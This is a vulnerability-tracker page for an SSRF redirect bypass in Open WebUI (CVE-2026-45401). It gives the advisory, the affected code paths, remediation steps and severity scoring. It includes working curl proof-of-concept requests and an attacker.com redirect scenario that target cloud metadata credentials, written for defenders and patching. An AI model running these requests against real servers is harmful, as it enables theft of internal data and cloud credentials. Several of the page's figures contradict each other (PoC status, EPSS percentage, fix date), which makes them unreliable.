Skip to main content

Open WebUI CVE-2026-45401

| EUVDEUVD-2026-30631 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-14 https://github.com/open-webui/open-webui GHSA-rh5x-h6pp-cjj6
8.5
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as low-privilege user
  2. Delivery
    Craft redirect-to-internal-IP payload
  3. Exploit
    Submit via chat image_url or web-fetch API
  4. Execution
    Server follows 302 to metadata/internal service
  5. Persist
    Exfiltrate response containing credentials
  6. Impact
    Assume IAM role or access internal APIs

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires authenticated access to any Open WebUI instance (PR:L in CVSS vector) but does NOT require admin privileges, special roles, or non-default configuration. All five vulnerable code paths are reachable in default deployments: Path 5 (chat-completion image inlining via get_image_base64_from_url) is triggered by any user sending a chat message with type:image_url content, making it the lowest-bar vector. Paths 1 and 3 (web-fetch endpoints) require access to /api/v1/retrieval/process/web, enabled by default for all authenticated users. Path 4 (image edit endpoint /api/v1/images/edit) requires the images router to be active (default). No user interaction beyond authentication is required (UI:N). The attacker must control an HTTP server capable of issuing 302 redirects or compromise an existing public site with open-redirect vulnerabilities. Exploitation success depends on the target environment's network topology: cloud deployments with IMDSv1 enabled (AWS default pre-2020) allow metadata theft; Kubernetes clusters with default service mesh DNS allow cross-namespace API access; corporate VPNs bridged to the server allow exfiltration of on-premise databases. The scope change (S:C) reflects this privilege boundary crossing from application to infrastructure layer. Limiting factors: outbound firewall rules blocking private IP ranges, IMDSv2 enforcement, and pod-level network policies reduce but do not eliminate risk, as attackers can target localhost services (127.0.0.1:8080) or DNS-resolvable internal hostnames that bypass IP-based filters.

Impact

Real-world risk is HIGH for multi-tenant or cloud-hosted Open WebUI deployments despite moderate CVSS 8.5. Attack vector (AV:N) and complexity (AC:L) confirm trivial remote exploitation requiring only low-privilege authentication (PR:L) with no user interaction (UI:N). Scope change (S:C) reflects the ability to pivot from application context to cloud metadata (IMDSv1) or internal Kubernetes service meshes. CVSS correctly weights confidentiality impact as HIGH (C:H) - attackers read arbitrary internal HTTP responses - and integrity as LOW (I:L) - some endpoints allow POST-based SSRF escalation not captured in base score. EPSS probability of 0.00043 (0.043%, 29th percentile) contradicts the public PoC availability and suggests exploit automation has not yet scaled, likely because Open WebUI deployments are fragmented across self-hosted instances rather than centralized SaaS targets. CISA KEV status is NOT LISTED, confirming no federal agency incidents reported at time of analysis. However, the Kubernetes tag and cloud-metadata targeting make this a critical supply-chain risk: compromised metadata can yield IAM credentials, container orchestration API tokens, or cross-tenant data in shared infrastructure. The five independent code paths create defense complexity - partial patches (e.g., fixing only aiohttp) leave other vectors open, as evidenced by the staggered researcher discoveries. SSVC decision tree: exploitation is PUBLIC (PoC confirmed), automatable (YES, trivial cURL reproduction), technical impact is TOTAL (credential theft, lateral movement). Priority: IMMEDIATE patching for internet-exposed instances, SCHEDULED for air-gapped internal deployments.

Exploit ScenarioDerived

An authenticated attacker with a standard user account (no admin privileges required) submits a chat message containing an image_url content part pointing to an attacker-controlled server (e.g., https://attacker.com/redir.php). The server responds with HTTP 302 Found and Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/. Open WebUI's chat-completion middleware (get_image_base64_from_url) follows the redirect without re-validating the target URL, retrieves the IAM role credentials JSON from the cloud metadata service, and base64-encodes the response. The attacker extracts AWS access keys from the returned data structure, uses them to assume the pod's IAM role, and gains read/write access to the organization's S3 buckets containing customer data and model training sets. Public PoC code is confirmed available in the GitHub advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Open WebUI versions ≤0.9.4 allow authenticated users to bypass SSRF protections and read internal network resources via HTTP redirect-following. The vulnerability exists in five distinct code paths: web-fetch retrieval, image-loading endpoints, chat-completion image inlining, and OAuth/tool-server execution flows. Any authenticated user can submit a public URL that 302-redirects to internal addresses (127.0.0.1, 169.254.169.254 cloud metadata, RFC1918 private networks) and receive the response body. The vendor confirms active exploitation in the wild was NOT observed, but publicly available exploit code exists (PoC in advisory) and EPSS score of 0.00043 (4.3%) suggests low automated scanning targeting at time of analysis. Fixed in version 0.9.5 released March 2025.

RemediationAI

Upgrade to Open WebUI version 0.9.5 or later immediately, available at https://github.com/open-webui/open-webui/releases/tag/v0.9.5. The patch disables HTTP redirects by default across all five affected code paths (requests, aiohttp, langchain loaders) and introduces the AIOHTTP_CLIENT_ALLOW_REDIRECTS environment variable for operators requiring redirect support in controlled scenarios. For environments unable to upgrade immediately, apply these compensating controls with noted trade-offs: (1) Deploy a reverse proxy (nginx, Envoy) with egress URL filtering to block RFC1918, 127.0.0.0/8, 169.254.0.0/16, and ::1 at the network layer before requests leave the application pod - requires maintaining synchronized block lists and breaks legitimate internal integrations. (2) Set network policies in Kubernetes to deny all egress except explicitly allowed external IP ranges - prevents lateral movement but requires auditing all legitimate external dependencies (model APIs, vector DBs). (3) Disable the web-fetch and image-URL features entirely via firewall rules blocking outbound HTTP from the Open WebUI process - breaks web search, URL summarization, and chat image inlining for all users. (4) For AWS/GCP/Azure deployments, enforce IMDSv2 (session-token requirement) to mitigate cloud metadata theft - does not prevent RFC1918 SSRF or localhost attacks. Operators should audit application logs for HTTP 302/301 responses to internal IP ranges as potential exploitation indicators. The vendor advisory also recommends configuring IFRAME_CSP and TERMINAL_PROXY_HEADERS environment variables introduced in v0.9.5 for defense-in-depth against related injection vectors.

Affected VersionsENISA

open-webui < 0.9.5

Affected Packages

pypi open-webui fix: 0.9.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause (CWE-918 SSRF) stems from a time-of-check-to-time-of-use race in URL validation. The validate_url() function in backend/open_webui/retrieval/web/utils.py applies private-IP block lists only to the initial caller-submitted URL. Downstream HTTP clients (requests.Session via langchain's WebBaseLoader, aiohttp, direct requests.get() calls) default to allow_redirects=True and follow HTTP 3xx Location headers without re-invoking validation. The affected package is pip/open-webui (Python), confirmed via CPE pkg:pip/open-webui. Five code paths were independently identified: SafeWebBaseLoader._scrape() (langchain), get_content_from_url() in retrieval/utils.py, load_url_image() in routers/images.py, get_image_base64_from_url() in utils/files.py (triggered via chat-completion middleware), and aiohttp _fetch() (since patched). Each path inherits the same defect: single-hop validation against a multi-hop protocol (HTTP redirects). The fix (v0.9.5) disables redirects entirely via allow_redirects=False across all call sites and introduces a new AIOHTTP_CLIENT_ALLOW_REDIRECTS environment variable for deployment-level control.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Primary rating from Vendor (https://github.com/open-webui/open-webui) · only source for this CVE.

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Server-Side Request Forgery (SSRF) Bypass via HTTP Redirect Following in Web-Fetch, Image-Load, and Chat-Completion Endpoints

Summary

The validate_url() function in backend/open_webui/retrieval/web/utils.py only validates the *initial* URL submitted by the caller. The HTTP clients used downstream (sync requests, async aiohttp, langchain's WebBaseLoader) follow HTTP 3xx redirects by default and do not re-validate the redirect target against the private-IP / metadata-IP block list. Any authenticated user can therefore submit a public URL that 302-redirects to an internal address (e.g. 127.0.0.1, 169.254.169.254, RFC1918) and read the internal response body via the /api/v1/retrieval/process/web endpoint, the /api/v1/images/... endpoints, the /api/chat/completions endpoint with an image_url content part, and any other route that calls these helpers.

Affected code paths

The bypass exists across multiple call sites; each independently follows redirects without re-validation.

Path 1 - sync _scrape via SafeWebBaseLoader

backend/open_webui/retrieval/web/utils.py - SafeWebBaseLoader inherits from langchain_community.document_loaders.WebBaseLoader. The parent's _scrape() calls self.session.get(url, self.requests_kwargs). requests_kwargs only sets timeout; allow_redirects=False is not** passed, so requests.Session.get() follows redirects with the default allow_redirects=True. validate_url() is invoked once on the original URL only.

Path 2 - async _fetch (aiohttp)

backend/open_webui/retrieval/web/utils.py - _fetch() previously inherited the aiohttp default allow_redirects=True. As of HEAD this path is fixed (allow_redirects=False). Listed for completeness.

Path 3 - get_content_from_url (sync requests.get)

backend/open_webui/retrieval/utils.py - response = requests.get(url, stream=True, timeout=30). No allow_redirects=False. Reached via /api/v1/retrieval/process/web (file ingestion) and other routers that resolve external URLs.

Path 4 - load_url_image (image edit)

backend/open_webui/routers/images.py - image-URL fetching helper used by the image-edit endpoint. Same pattern: validate_url() checks only the initial URL, the underlying HTTP client follows redirects without re-validation. Reachable via /api/v1/images/edit.

Path 5 - get_image_base64_from_url (chat-completion image inlining)

backend/open_webui/utils/files.py - get_image_base64_from_url() is invoked from convert_url_images_to_base64() in backend/open_webui/utils/middleware.py on every /api/chat/completions request whose message content includes an image_url part. The shared aiohttp session pool (backend/open_webui/utils/session_pool.py) does not override the aiohttp default allow_redirects=True, and the call site itself does not pass allow_redirects=False. This is the most reachable variant in the cluster: no special endpoint, no admin permission, no feature flag - any authenticated user can trigger it from a normal chat message.

Proof of concept

Authenticated low-privilege user; default config, no admin or special permissions required.

bash
curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'

Response body contains the internal /api/config payload in file.data.content. Replace the redirect target with http://169.254.169.254/latest/meta-data/ for cloud metadata, or any internal hostname reachable from the server.

For the chat-completion path (Path 5), the same redirect is followed when an image_url content part points to an attacker-controlled redirector:

bash
curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impact

Any authenticated user can read GET responses from any HTTP service reachable by the Open WebUI server process - cloud metadata services (IMDSv1 if available), localhost-bound application APIs, internal databases / monitoring / Kubernetes services, and VPN-bridged on-premise networks.

Recommended fix

For every call site that follows redirects, set allow_redirects=False on the underlying HTTP client and add a per-hop validation loop using validate_url() on each Location: header.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

  • tenbbughunters - first to identify SafeWebBaseLoader sync _scrape (Path 1)
  • YLChen-007 - first to identify load_url_image (Path 4)
  • tempcollab - first to identify aiohttp _fetch (Path 2)
  • sneaXOR - first to identify get_content_from_url (Path 3)
  • nayakchinmohan - first to identify get_image_base64_from_url in chat-completion middleware (Path 5)

Executive ViewAI

Why It Matters

Open WebUI versions 0.9.4 and earlier contain a server-side request forgery (SSRF) vulnerability that allows authenticated users to bypass network protections and access internal resources, including cloud metadata endpoints and private network systems. Organizations running affected versions face potential exposure of sensitive configuration data, credentials, and internal service information accessible only to authenticated users with platform access.

Business Impact: High
Compensating Controls

No vendor-released patch identified for versions prior to 0.9.5. Interim mitigations: (1) Restrict network egress from Open WebUI instances using firewall rules to block outbound connections to 127.0.0.1, 169.254.169.254, and RFC1918 ranges; (2) Disable image-loading, web-fetch, and OAuth tool-server features in application settings if business operations permit; (3) Implement network segmentation to prevent Open WebUI from reaching cloud metadata endpoints or sensitive internal services; (4) Monitor and log all HTTP requests from the application for redirect sequences. Upgrade to version 0.9.5 remains the authoritative remediation.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy